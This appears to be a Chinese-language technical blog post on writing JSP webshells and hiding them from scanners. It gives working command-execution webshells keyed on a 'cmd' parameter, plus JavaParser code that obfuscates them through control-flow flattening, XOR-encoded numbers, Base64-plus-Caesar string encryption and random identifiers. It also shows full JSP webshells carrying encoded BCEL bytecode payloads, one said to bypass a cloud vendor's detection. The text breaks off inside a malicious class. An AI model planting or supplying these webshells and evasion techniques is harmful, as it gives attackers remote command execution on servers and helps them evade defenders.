springboot时代

jsp网站在减少,webshell确实在流逝,慢慢的过时

基本的反射

防止中文输出乱码

image-20211231145940256.png

一句话木马

  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3. Runtime.getRuntime().exec(request.getParameter("cmd"));
  4. %>

拆开

  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3. String cmd=request.getParameter("cmd")
  4. Runtime.getRuntime().exec(cmd);
  5. %>

回显

  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page language="java" pageEncoding="UTF-8" %>
  5. <%
  6. String cmd=request.getParameter("cmd");
  7. Process exec = Runtime.getRuntime().exec(cmd);
  8. InputStream inputStream = exec.getInputStream();
  9. InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
  10. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  11. String s =null;
  12. response.getWriter().println("
  13. <pre>");
  14. while ((s=bufferedReader.readLine())!=null){
  15. response.getWriter().println(s);
  16. }
  17. response.getWriter().println("
  18. <pre>");
  19. %>

反射

  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page language="java" pageEncoding="UTF-8" %>
  6. <%
  7. String cmd=request.getParameter("cmd");
  8. Class<?> aClass = Class.forName("java.lang.Runtime");
  9. Method getRuntime = aClass.getMethod("getRuntime");
  10. Method exec1 = aClass.getMethod("exec", String.class);
  11. Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);
  12. Process exec=(Process)invoke;
  13. // Process exec = Runtime.getRuntime().exec(cmd);
  14. InputStream inputStream = exec.getInputStream();
  15. InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
  16. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  17. String s =null;
  18. response.getWriter().println("
  19. <pre>");
  20. while ((s=bufferedReader.readLine())!=null){
  21. response.getWriter().println(s);
  22. }
  23. response.getWriter().println("
  24. <pre>");
  25. %>
  1. <%@ page import="java.io.InputStream" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page import="java.lang.reflect.Field" %>
  6. <%@ page language="java" pageEncoding="UTF-8" %>
  7. <%
  8. String cmd=request.getParameter("cmd");
  9. Class<?> aClass = Class.forName("java.lang.Runtime");
  10. Field currentRuntimes = aClass.getDeclaredField("currentRuntime");
  11. currentRuntimes.setAccessible(true);
  12. Runtime orr =(Runtime) currentRuntimes.get(null);
  13. Process exec = orr.exec(cmd);
  14. //
  15. // Method getRuntime = aClass.getMethod("getRuntime");
  16. // Method exec1 = aClass.getMethod("exec", String.class);
  17. // Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);
  18. // Process exec=(Process)invoke;
  19. // Process exec = Runtime.getRuntime().exec(cmd);
  20. InputStream inputStream = exec.getInputStream();
  21. InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
  22. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  23. String s =null;
  24. response.getWriter().println("
  25. <pre>");
  26. while ((s=bufferedReader.readLine())!=null){
  27. response.getWriter().println(s);
  28. }
  29. response.getWriter().println("
  30. <pre>");
  31. %>

jspHorse

image-20211231153616849.png

红字是缺少jar包依赖

控制流平坦化

在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢

(对于控制流平坦化的概念大致来说就是将代码转为switch块和分发器)

以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成

  1. // 这里给出的是规定顺序的分发器
  2. String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
  3. String[] b = dispenserArr.split("\\|");
  4. int index = 0;
  5. // 声明变量
  6. String passwd = null;
  7. String cmd = null;
  8. Class rt = null;
  9. java.lang.reflect.Method gr = null;
  10. java.lang.reflect.Method ex = null;
  11. Process process = null;
  12. java.io.InputStream in = null;
  13. java.io.InputStreamReader resulutReader = null;
  14. java.io.BufferedReader stdInput = null;
  15. while (true) {
  16. int op = Integer.parseInt(b[index++]);
  17. switch (op) {
  18. case 0:
  19. passwd = request.getParameter("pwd");
  20. break;
  21. case 1:
  22. cmd = request.getParameter("cmd");
  23. break;
  24. case 2:
  25. if (!passwd.equals(PASSWORD)) {
  26. return;
  27. }
  28. break;
  29. case 3:
  30. rt = Class.forName("java.lang.Runtime");
  31. break;
  32. case 4:
  33. gr = rt.getMethod("getRuntime");
  34. break;
  35. case 5:
  36. ex = rt.getMethod("exec", String.class);
  37. break;
  38. case 6:
  39. process = (Process) ex.invoke(gr.invoke(null), cmd);
  40. break;
  41. case 7:
  42. in = process.getInputStream();
  43. break;
  44. case 8:
  45. out.print("
  46. <pre>");
  47. break;
  48. case 9:
  49. resulutReader = new java.io.InputStreamReader(in);
  50. break;
  51. case 10:
  52. stdInput = new java.io.BufferedReader(resulutReader);
  53. case 11:
  54. String s = null;
  55. while ((s = stdInput.readLine()) != null) {
  56. out.println(s);
  57. }
  58. break;
  59. case 12:
  60. out.print("</pre>");
  61. break;
  62. }
  63. }

注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,其中数字的顺序对应了switch块中的执行顺序,当前是从第0条到第12条执行

在进入switch之前,需要实现声明变量,否则在Java的语法下,单一case语句的变量无法被其他case语句获取

当执行完命令后,变量index会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况

然而在这种情况下,分发器中的数字顺序是一定的,case块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀

使用了Java的AST库JavaParser解析代码并实现这样的功能

  1. if (target instanceof StringLiteralExpr) {
  2. // StringLiteralExpr对象就是简单的字符串
  3. String value = ((StringLiteralExpr) target).getValue();
  4. // 如果包含了这个符号认为是分发器
  5. if (value.contains("|")) {
  6. String[] a = value.split("\\|");
  7. int length = a.length;
  8. // 一个简单的数组打乱算法
  9. for (int i = length; i > 0; i--) {
  10. int randInd = rand.nextInt(i);
  11. String temp = a[randInd];
  12. a[randInd] = a[i - 1];
  13. a[i - 1] = temp;
  14. }
  15. // 打乱后的数字再用|拼起来
  16. StringBuilder sb = new StringBuilder();
  17. for (String s : a) {
  18. sb.append(s).append("|");
  19. }
  20. String finalStr = sb.toString();
  21. finalStr = finalStr.substring(0, finalStr.length() - 1);
  22. // 打乱后的分发器设置回去
  23. ((StringLiteralExpr) target).setValue(finalStr);
  24. result = finalStr;
  25. }
  26. }

打乱switch-case块的代码

  1. String[] a = target.split("\\|");
  2. // 得到Switch语句为了后文的替换
  3. SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?
  4. method.findFirst(SwitchStmt.class).get() : null;
  5. if (stmt == null) {
  6. return;
  7. }
  8. // 得到所有的Case块
  9. List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);
  10. for (int i = 0; i < entryList.size(); i++) {
  11. // Case块的Label是数字
  12. if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {
  13. // 拿到具体的数字对象IntegerLiteralExpr
  14. IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);
  15. // 设置为分发器对应的顺序数字
  16. expr.setValue(a[i]);
  17. }
  18. }
  19. // 打乱Case块集合
  20. NodeList<SwitchEntry> switchEntries = new NodeList<>();
  21. Collections.shuffle(entryList);
  22. switchEntries.addAll(entryList);
  23. // 塞回原来的Switch中
  24. stmt.setEntries(switchEntries);

经过打乱后的效果还是比较满意的

  1. String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";
  2. String[] b = dispenserArr.split("\\|");
  3. ...
  4. while (true) {
  5. int op = Integer.parseInt(b[index++]);
  6. switch(op) {
  7. case 11:
  8. gr = rt.getMethod("getRuntime");
  9. break;
  10. case 0:
  11. String s = null;
  12. while ((s = stdInput.readLine()) != null) {
  13. out.println(s);
  14. }
  15. break;
  16. case 5:
  17. stdInput = new java.io.BufferedReader(resulutReader);
  18. case 12:
  19. resulutReader = new java.io.InputStreamReader(in);
  20. break;
  21. case 4:
  22. rt = Class.forName("java.lang.Runtime");
  23. break;
  24. ...
  25. }
  26. }

异或加密数字

异或加密很简单:a^b=c那么a^c=b

如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a

对于其中的数字,可以采用异或加密,并可以使用多重

发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?

把字符串变量都提到全局数组,然后用数组访问的方式使用字符串

  1. String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime",
  2. "getRuntime", "exec", "
  3. <pre>", "</pre>"};
  4. String temp = globalArr[0];
  5. String[] b = temp.split("\\|");
  6. ...
  7. while (true) {
  8. int op = Integer.parseInt(b[index++]);
  9. switch (op) {
  10. case 0:
  11. passwd = request.getParameter(globalArr[1]);
  12. break;
  13. case 1:
  14. cmd = request.getParameter(globalArr[2]);
  15. break;
  16. ...
  17. }
  18. }

这时候的globalArr[1]调用方式就可以用异或加密了

  1. Random random = new Random();
  2. random.setSeed(System.currentTimeMillis());
  3. // 遍历所有的简单数字对象
  4. List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);
  5. for (IntegerLiteralExpr i : integers) {
  6. // 原来的数字a
  7. int value = Integer.parseInt(i.getValue());
  8. // 随机的数字b
  9. int key = random.nextInt(1000000) + 1000000;
  10. // c=a^b
  11. int cipherNum = value ^ key;
  12. // 用一个括号包裹a^b防止异常
  13. EnclosedExpr enclosedExpr = new EnclosedExpr();
  14. BinaryExpr binaryExpr = new BinaryExpr();
  15. // 构造一个c^b
  16. binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
  17. binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
  18. binaryExpr.setOperator(BinaryExpr.Operator.XOR);
  19. // 塞回去
  20. enclosedExpr.setInner(binaryExpr);
  21. i.replace(enclosedExpr);
  22. }

双重异或加密后的效果

  1. String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "
  2. <pre>", "</pre>" };
  3. String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];
  4. ...
  5. int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));
  6. ...
  7. while (true) {
  8. int op = Integer.parseInt(b[index++]);
  9. switch(op) {
  10. case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):
  11. out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);
  12. break;
  13. case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):
  14. cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);
  15. break;
  16. case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):
  17. resulutReader = new java.io.InputStreamReader(in);
  18. break;
  19. ...
  20. }
  21. }

加密字符串常量

还剩一部,其中提取的globalArr中的字符串是明文的

加密的算法必须是可逆的,因为在执行的时候需要取出来还原

笔者选择了比较简单的恺撒加密,没有使用复杂的AES等加密

由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法

给出网上找到的算法,在这个基础上做了修改

  1. // 加密算法
  2. public static String encryption(String str, int offset) {
  3. char c;
  4. StringBuilder str1 = new StringBuilder();
  5. for (int i = 0; i < str.length(); i++) {
  6. c = str.charAt(i);
  7. if (c >= 'a' && c <= 'z') {
  8. c = (char) (((c - 'a') + offset) % 26 + 'a');
  9. } else if (c >= 'A' && c <= 'Z') {
  10. c = (char) (((c - 'A') + offset) % 26 + 'A');
  11. } else if (c >= '0' && c <= '9') {
  12. c = (char) (((c - '0') + offset) % 10 + '0');
  13. } else {
  14. str1 = new StringBuilder(str);
  15. break;
  16. }
  17. str1.append(c);
  18. }
  19. sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
  20. return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
  21. }
  22. // 需要嵌入JSP的解密算法
  23. public static String dec(String str, int offset) {
  24. try {
  25. // 先Base64解码
  26. byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
  27. str = new String(code);
  28. char c;
  29. // 然后尝试恺撒密码解密
  30. StringBuilder str1 = new StringBuilder();
  31. for (int i = 0; i < str.length(); i++) {
  32. c = str.charAt(i);
  33. if (c >= 'a' && c <= 'z') {
  34. c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
  35. } else if (c >= 'A' && c <= 'Z') {
  36. c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
  37. } else if (c >= '0' && c <= '9') {
  38. c = (char) (((c - '0') - offset + 10) % 10 + '0');
  39. } else {
  40. str1 = new StringBuilder(str);
  41. break;
  42. }
  43. str1.append(c);
  44. }
  45. String result = str1.toString();
  46. // 处理特殊情况
  47. result = result.replace("\\\"","\"");
  48. result = result.replace("\\n","\n");
  49. return result;
  50. } catch (Exception ignored) {
  51. return "";
  52. }
  53. }

注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP

  1. Random random = new Random();
  2. random.setSeed(System.currentTimeMillis());
  3. // 随机偏移
  4. int offset = random.nextInt(9) + 1;
  5. // 得到字符串
  6. List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
  7. for (StringLiteralExpr s : stringList) {
  8. if (s.getParentNode().isPresent()) {
  9. // 如果是数组中的字符串
  10. if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
  11. // 进行加密
  12. String encode = EncodeUtil.encryption(s.getValue(), offset);
  13. // 可能会有意外的换行
  14. encode = encode.replace(System.getProperty("line.separator"), "");
  15. // 设置回去
  16. s.setValue(encode);
  17. }
  18. }
  19. }
  20. // 记录偏移量
  21. return offset;

重点来了,在被加密的字符串调用的时候需要添加上解密函数

效果是:globalArr[1] -> dec(global[1])

  1. public static void changeRef(MethodDeclaration method, int offset) {
  2. // 所有的数组访问对象
  3. List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
  4. for (ArrayAccessExpr expr : arrayExpr) {
  5. // 如果访问的是globalArr
  6. if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
  7. // 造一个方法调用对象,调用的是解密dec方法
  8. MethodCallExpr methodCallExpr = new MethodCallExpr();
  9. methodCallExpr.setName("dec");
  10. methodCallExpr.setScope(null);
  11. // dec方法参数需要是NodeList对象
  12. NodeList<Expression> nodeList = new NodeList<>();
  13. ArrayAccessExpr a = new ArrayAccessExpr();
  14. a.setName(expr.getName());
  15. a.setIndex(expr.getIndex());
  16. // 第一个参数为原来的数组调用
  17. nodeList.add(a);
  18. // 记录的offset需要传入第二个参数
  19. IntegerLiteralExpr intValue = new IntegerLiteralExpr();
  20. // 塞回去
  21. intValue.setValue(String.valueOf(offset));
  22. nodeList.add(intValue);
  23. methodCallExpr.setArguments(nodeList);
  24. expr.replace(methodCallExpr);
  25. }
  26. }
  27. }

处理后的结果,结合异或加密来看效果很不错

  1. String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
  2. ...
  3. while (true) {
  4. int op = Integer.parseInt(b[index++]);
  5. switch(op) {
  6. case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
  7. ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
  8. break;
  9. break;
  10. case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
  11. gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
  12. break;
  13. case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
  14. rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
  15. break;
  16. ...
  17. }
  18. }

标识符随机命名

还差一步,需要对其中所有的标识符进行随机命名

这一步不难,拿到所有的NameExpr对name属性做修改即可

  1. Map<String,String> vas = new HashMap<>();
  2. // 所有的变量声明
  3. List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
  4. for(VariableDeclarator va:vaList){
  5. // 将变量名都随机修改
  6. String newName = RandomUtil.getRandomString(20);
  7. // 注意记录变量的映射关系
  8. vas.put(va.getNameAsString(), newName);
  9. va.setName(newName);
  10. }
  11. // 需要修改引用到该变量的变量名
  12. method.findAll(NameExpr.class).forEach(n->{
  13. // 修改引用
  14. if(vas.containsKey(n.getNameAsString())){
  15. n.setName(vas.get(n.getNameAsString()));
  16. }
  17. });

BCEL

博客园

Byte Code Engineering Library (BCEL),这是Apache Software Foundation 的Jakarta 项目的一部分。BCEL是 Java classworking 最广泛使用的一种框架,它可以让您深入 JVM 汇编语言进行类操作的细节。BCEL与Javassist 有不同的处理字节码方法,BCEL在实际的JVM 指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist 所强调的源代码级别的工作。

该类存储在com.sun.org.apache.bcel.internal.util包中

BECL ClassLoade也是一种恢复成一个类并在JVM虚拟机中进行加载的字节序列

BCEL也是在JDK库中,在com.sun.org.apache.bcel.internal.util的包中有一个ClassLoader类,它是一个ClassLoader类,和默认的java.lang包下的ClassLoader类不同,loadClass实现不同而已。

BECL类的ClassLoader的loadClass方法特征:如果传入的字节数据以BCEL字符开始,就会进入createClass方法

JSP - 图3

接着就会通过Utility.decode转换为字节格式,然后通过ClassParser根据Class类的格式来进行解析,生成JavaClass对象

JSP - 图4

最后通过defineClass来返回一个对应的class对象

JSP - 图5

这里来模拟下本地通过BCEL的ClassLoader实现命令执行的过程

  1. public class Example {
  2. static{
  3. try{
  4. Runtime.getRuntime().exec("calc");
  5. }catch(Exception e){
  6. }
  7. }
  8. }
  1. public class HelloBCEL {
  2. public static void main(String[] args) throws Exception{
  3. JavaClass cls = Repository.lookupClass(Example.class);
  4. String code = Utility.encode(cls.getBytes(),true);
  5. System.out.println(code);
  6. Class<?> aClass = new ClassLoader().loadClass("$$BCEL$$" + code);
  7. aClass.newInstance();
  8. }
  9. }

当执行完aClass.newInstance();,则会执行calc

JSP - 图6

这里顺便回顾下知识点:

1、ClassLoader的loadClass来进行实例化Class的时候,不会触发static静态代码块,只是把类加载到了 JVM 虚拟机中

2、class.forName() 默认会对类进行初始化,会执行类中的 static 代码块

b站

在fastjson中也有利用

可以加载一个特殊格式的字符串(本质就是一个字节码)

image-20220101211615605.png

  1. import com.sun.org.apache.bcel.internal.classfile.Utility;
  2. import java.net.URI;
  3. import java.nio.file.Files;
  4. import java.nio.file.Paths;
  5. public class util {
  6. public static void main(String[] args) throws Exception{
  7. URI uri = util.class.getResource("Evil.class").toURI();
  8. byte[] bytes = Files.readAllBytes(Paths.get(uri));
  9. String encode = Utility.encode(bytes, true);
  10. System.out.println(encode);
  11. }
  12. }
  1. import java.io.BufferedReader;
  2. import java.io.InputStream;
  3. import java.io.InputStreamReader;
  4. public class Evil {
  5. String result;
  6. public Evil(String cmd) throws Exception{
  7. StringBuilder stringBuilder = new StringBuilder();
  8. InputStream exec = Runtime.getRuntime().exec(cmd).getInputStream();
  9. InputStreamReader inputStreamReader = new InputStreamReader(exec);
  10. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  11. String line;
  12. while ((line=bufferedReader.readLine())!=null){
  13. stringBuilder.append(line).append("\n");
  14. }
  15. this.result=stringBuilder.toString();
  16. // System.out.println(new Evil(cmd));
  17. }
  18. @Override
  19. public String toString() {
  20. return result;
  21. }
  22. }

image-20220101211803232.png
image-20220101211919193.png

  1. <%@ page import="java.lang.reflect.Constructor" %>
  2. <%@ page language="java" pageEncoding="UTF-8" %>
  3. <%
  4. String cmd=request.getParameter("cmd");
  5. String bcel ="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$gA$Q$3d$D$cb$O$ac$eb$F$U$91$98$9b$b9$u$e2$85$c4$dc$M$g$93h4$9a$m$g$b1L$f1$b8$c0h$d6$c0B$c1b$f9GyM$aa$SH$c5$aa$3c$e6$n$7f$92$7fH$c5$f4$y$m$a1$c4$ca$c3$f6$cc$f4$e9$e99$7d$b6g$7e$fe$f9$f6$j$c0$7d$ecj$f0c$8e$e3$9e$G$X$e64$f2$3c$90$e6$a1$86G$98$e7x$ac$81$p$ce$b1$a0$c1$87Ei$9e$c8$c0$r$_$9e$ca$f1$99$P$Dx$ce$b1$cc$b1$c2$a0$96E$a5$9a$b7$Z$C$89C$e3$c8$88$e5$N$eb$m$96$b2$cb$a6u$b0$40$e8$a2i$99$f6$SC0r$k$9e$dccPV$8a9$c1$d0$9f0$z$91$ac$W2$a2$bckd$f2B$a6$xf$8d$fc$9eQ6$e5$ba$e9T$ecwf$85$b2$sV$8f$cc$3c$a5wg$L9$86$de$8a$93o$b9j$e6s$a2$cc$Q$3ewT$T$a2$j$8a8$WY$a2$d3$I1$8b$b1$N$abT$b5$vJ$Y$F$82$fdf$7b$b9$p$M$t$ddh$b7$d8$GH$3b$fa2$d5$fd$7dQ$W$b9V$f8$c8Y$f8r$H$o$P$cfS$95$c47e$h$d9$f7$9bF$c9$a9$ca$R$f2$F$fd$M$8eU$d2$9edg$d0V$8f$b3$a2d$9bE$ab$c2$b1$c6$e0$b5$8b$8dB$Y$86$o$93$dd$84$d6R$c5j9$x$d6L$v$93O$ca3$x$a3t$M$e1$rC$e8$CA8$d6ul$e0$95$8e$abx$cd$91$d0$b1$89$q$Jxa$c12$df$W$c3p$f7$S$r$ba$ad$e3$Nb$3av$90b$60$9a$8eY$b9$K$60$90$ca$97$b4$Y$G$dad$b62$87$okw$b8Zu$Ov$e1$d0$f2$3a$81g$SQ$hDd$x$f9$db$d8N$d5$b2$cd$C$v$a1$j$I$fbl$R$ec$90$ae$e9$s$ed$s$ba$f5$e6$3f$ae$edr1$x$w$95$85$8e$p$9aNj$A$3a$a2$83c$a8u$cc$b9$ee$g$89t$F$q$f9$c16$d4l$X$e9$f5$S$9eK8M$a3$g$a5$92$b0$a8$dbg$fe$c3$b6$b3$e31F$97$d5O$b7$9e$d1G$7f$81$ac$8b$e6C$I$d28L$ab$dfp$d3m$H$b6$a2u$b0$T$b8$d2u$b87$bfB$99$aa$c1S$83$9a$3c$BO$cf$d4$e1$8d$x$t$f0$a5$c3J$jZ$dc$T$s$a8$t$jW$7f$m0$jVk$d0$D$bdd$de$7e8$fd$V$9d$ae$a1$ef$L$fa$3fQJ7Bd$c7$e9$fd$A$j$a1$c0$L$9d$e6$nhD$aa$H$d3$e8$a5$e7$a6$PkD0I$d4F$uj$bdA$Fa$5c$C$9c$d9$uQf$b4o$F$97q$85$u$870O$bdz$8dr$8fQg$5d$t$abP$a6$9b$b8A$9f$87$de$b0Q$dc$a2$j$wn$d3$ee1$b8N$JT9$c69$s8$o$i$93$iQ$8e$vYv$98$7c$84$82$S$90$a8$f4Q$a3$92$95$9a$c8Q$ea$e5$89$7eF$ffGG2Y$89$ea8$83$OS$bd$R$d0d$cap$c7$89$ba$fb$X$f4P$3d$a7c$F$A$A";
  6. Class<?> aClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
  7. ClassLoader loader =(ClassLoader) aClass.newInstance();
  8. Class<?> aClass1 = loader.loadClass(bcel);
  9. Constructor<?> constructor = aClass1.getConstructor(String.class);
  10. Object o = constructor.newInstance(cmd);
  11. response.getWriter.print("
  12. <pre>");
  13. System.out.println(o.toString());
  14. response.getWriter.print("
  15. <pre>");
  16. %>

先知社区

  1. <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
  2. <html>
  3. <body>
  4. <h2>BCEL字节码的JSP Webshell</h2>
  5. <%
  6. String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
  7. response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
  8. %>
  9. </body>
  10. </html>

上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。

而BCEL字节码的生成,以及执行指令的恶意类如下:

  1. import com.sun.org.apache.bcel.internal.classfile.Utility;
  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.io.InputStreamReader;
  6. /**
  7. * @author threedr3am
  8. */
  9. public class Threedr3am {
  10. String res;
  11. public Threedr3am(String cmd) throws IOException {
  12. StringBuilder stringBuilder = new StringBuilder();
